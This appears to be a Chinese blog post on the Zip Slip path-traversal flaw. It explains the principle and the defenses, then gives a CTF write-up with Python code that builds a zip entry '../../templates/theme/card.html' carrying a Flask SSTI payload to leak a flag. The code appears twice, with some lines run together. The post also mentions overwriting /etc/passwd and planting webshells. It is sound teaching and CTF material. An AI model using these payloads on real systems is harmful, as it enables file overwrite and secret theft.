当前位置: 首页 > news >正文

zip slip目录遍历漏洞

Zip Slip 是一种高危的目录遍历漏洞,主要发生在文件解压过程中。攻击者通过构造恶意的压缩包,利用路径遍历字符(如 ../)覆盖服务器上的任意文件,甚至实现远程代码执行(RCE)。

漏洞原理

当解压程序未对压缩包内的文件名进行安全校验时,攻击者可以构造一个包含特殊路径的文件名,例如:

../../../etc/passwd

../../../../var/www/html/index.php

解压时,程序会按照这个路径将文件写入到指定位置,从而覆盖系统关键文件。

攻击场景

覆盖系统文件:覆盖 /etc/passwd 或 /etc/shadow,添加后门账户。

覆盖Web文件:覆盖网站源码,植入Webshell。

覆盖配置文件:修改服务配置,导致服务异常或权限提升。

防御措施

路径校验:解压前检查文件名是否包含 ../ 或绝对路径。

限制解压目录:强制所有文件解压到指定目录,禁止跳出。

使用安全库:如 Java 的 java.util.zip 库在 JDK 8 及以下版本存在此风险,建议升级或使用 Apache Commons Compress 等安全库。

python制作压缩包

import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)

解释:

(1)zipfile.ZipFile("evil_theme.zip", "w", ...):创建一个名为 evil_theme.zip 的新压缩包,模式为写入("w")。

(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename

例题:见zip slip目录遍历漏洞复现

降低难度,白盒审计题,附件中为附件源码 Flag 格式:flag{...} ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式。 开发人员声称: “主题包只是 ZIP,里面放一些 HTML 片段和资源文件,不会有危险。” Fen 看完源码后留下了一句话: “压缩包里的路径,也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。 

提示说明和压缩包路径有关,能想到软链接或者路径穿越
代码审计一下就能发现是路径穿越

image

解压目录是/app/themes/<uuid>/
再审计一下代码发现gallery.html会包含card.html,且能看出是flask模板

image

思路就是 伪造../../templates/theme/card.html文件并通过路径穿越覆盖card.html,查看app.py发现/gallery路由访问后包含card.html触发ssti

根据docker-compose.yml的内容得知flag在环境变量里

image

python制作压缩包

import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)

image

上传后即可看到flag

image

http://www.jsqmd.com/news/1036016/

相关文章:

  • JavaWeb/JSP 项目基础框架:Servlet、JSP、JDBC 与管理系统案例整理
  • IEEE 802.15.4 MAC层服务原语开发实战:基于JN516x的物联网通信指南
  • 合肥 2026收金真实体验:同样50g黄金,不同门店到手价差差出上千 - 奢侈品回收评测
  • ZigBee OTA升级实战:从API函数到安全可靠的无线固件更新
  • 三步构建OFD转PDF自动化工作流:Ofd2Pdf技术解析与实战指南
  • PowerPC 601流水线优化:从数据依赖、旁路技术到实战避坑指南
  • 动态增强采样器:提升图像模型鲁棒性的智能数据增强技术
  • 2026靠谱降AI率软件怎么选?实测15款后这几个最好用
  • ComfyUI ControlNet Aux预处理器:从零开始的完整配置指南
  • 文件上传正常绕过
  • 2026大模型系统化学习路线:从零基础到落地进阶全指南
  • SK-S12XDP512-A开发板硬件配置与调试实战指南
  • 基于NXP i.MX平台的AVB/TSN音视频网络评估实战指南
  • 亨得利官方正式辟谣:关于亨得利服务渠道不实信息的严正声明与权威公示 - 亨得利官方维修中心
  • 向量数据库Milvus 啄木鸟(Woodpecker ) - 深蓝--
  • 2026年亲测三家京东E卡回收正规平台:综合评分排行榜帮你选对不踩坑 - 鼎鼎收礼品卡回收
  • 深度进阶:全网最全 Java 锁知识体系大通关
  • m4s-converter:跨平台缓存视频格式转换解决方案
  • 2026郯城黄金回收市场观察:市民变现为何频频踩坑?含避坑指南 - 微城市网络
  • 嵌入式音频信号生成:CTG库核心原理与工程实践指南
  • ZigBee场景集群API深度解析:从原理到实战开发指南
  • PyNaCl:Python 加密库,基于 libsodium
  • <p>你是不是也这样?</p>
  • NXP i.MX平台GenAVB/TSN实战:从硬件配置到音视频流媒体搭建
  • 不写代码不露脸,我用AI工具搭建自动化副业,月入稳定过万
  • MC68HC711D3评估板硬件连接、跳线设置与调试避坑指南
  • 开源工具深度解析:如何实现百度网盘macOS版下载加速的技术原理
  • 文件读取绕过
  • 2026市面上诚信的邓州装修设计公司排行榜 - 品牌排行榜
  • OpenCore Legacy Patcher终极指南:四步让旧Mac免费升级最新macOS